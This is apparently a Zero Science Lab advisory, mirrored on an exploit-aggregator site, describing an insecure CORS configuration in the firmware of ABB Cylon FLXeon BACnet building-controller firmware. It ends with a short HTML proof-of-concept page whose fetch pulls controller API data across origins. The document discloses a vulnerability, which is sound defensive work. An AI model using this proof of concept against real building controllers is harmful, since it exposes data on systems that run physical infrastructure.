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## https://sploitus.com/exploit?id=ZSL-2025-5921
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ABB Cylon FLXeon 9.3.4 (app.js) Insecure CORS Configuration


Vendor: ABB Ltd.
Product web page: https://www.global.abb                   
Affected version: FLXeon Series (FBXi Series, FBTi Series, FBVi Series)
                  CBX Series (FLX Series)
                  CBT Series
                  CBV Series
                  Firmware: <=9.3.4

Summary: BACnetยฎ Smart Building Controllers. ABB's BACnet portfolio features a
series of BACnetยฎ IP and BACnet MS/TP field controllers for ASPECTยฎ and INTEGRAโ„ข
building management solutions. ABB BACnet controllers are designed for intelligent
control of HVAC equipment such as central plant, boilers, chillers, cooling towers,
heat pump systems, air handling units (constant volume, variable air volume, and
multi-zone), rooftop units, electrical systems such as lighting control, variable
frequency drives and metering.

The FLXeon Controller Series uses BACnet/IP standards to deliver unprecedented
connectivity and open integration for your building automation systems. It's scalable,
and modular, allowing you to control a diverse range of HVAC functions.

Desc: The ABB Cylon FLXeon BACnet controller suffers from insecure CORS configuration.
Allowing all origins (app.options('*', cors()); can expose the API to data leaks,
resource abuse, and potential XSS attacks.

Tested on: Linux Kernel 5.4.27
           Linux Kernel 4.15.13
           NodeJS/8.4.0
           Express


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2025-5921
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2025-5921.php


21.04.2024




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โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘ 
โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘ 
โ–‘โ–’โ–“โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘ 
โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘ 
โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘ 
โ–‘โ–’โ–“โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘ 
         โ–‘โ–’โ–“โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–“โ–’โ–‘ โ–‘โ–’โ–“โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–“โ–’โ–‘ 
         โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘
         โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘ 
         โ–‘โ–’โ–“โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–’โ–“โ–ˆโ–ˆโ–ˆโ–“โ–’โ–‘
         โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘
         โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘
         โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–’โ–“โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–“โ–’โ–‘ โ–‘โ–’โ–“โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–“โ–’โ–‘


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<head>
<meta charset="utf-8"/>
<meta content="width=device-width, initial-scale=1.0" name="viewport"/>
<title>ABB Cylon FLXeon BACnet CORS PoC</title>
</head>
<body>
<button id="fData">Gief</button>
<pre id="response"></pre>
<script>
        document.getElementById('fData').addEventListener('click', () => {
            fetch('https://7.3.3.1/api/variant', {
                method: 'GET',
                headers: {
                    'Content-Type': 'application/json'
                }
            })
            .then(response => response.json())
            .then(data => {
                document.getElementById('response').textContent = JSON.stringify(data, null, 2);
            })
            .catch(error => {
                console.error('Error:', error);
            });
        });
    </script>
</body>
</html>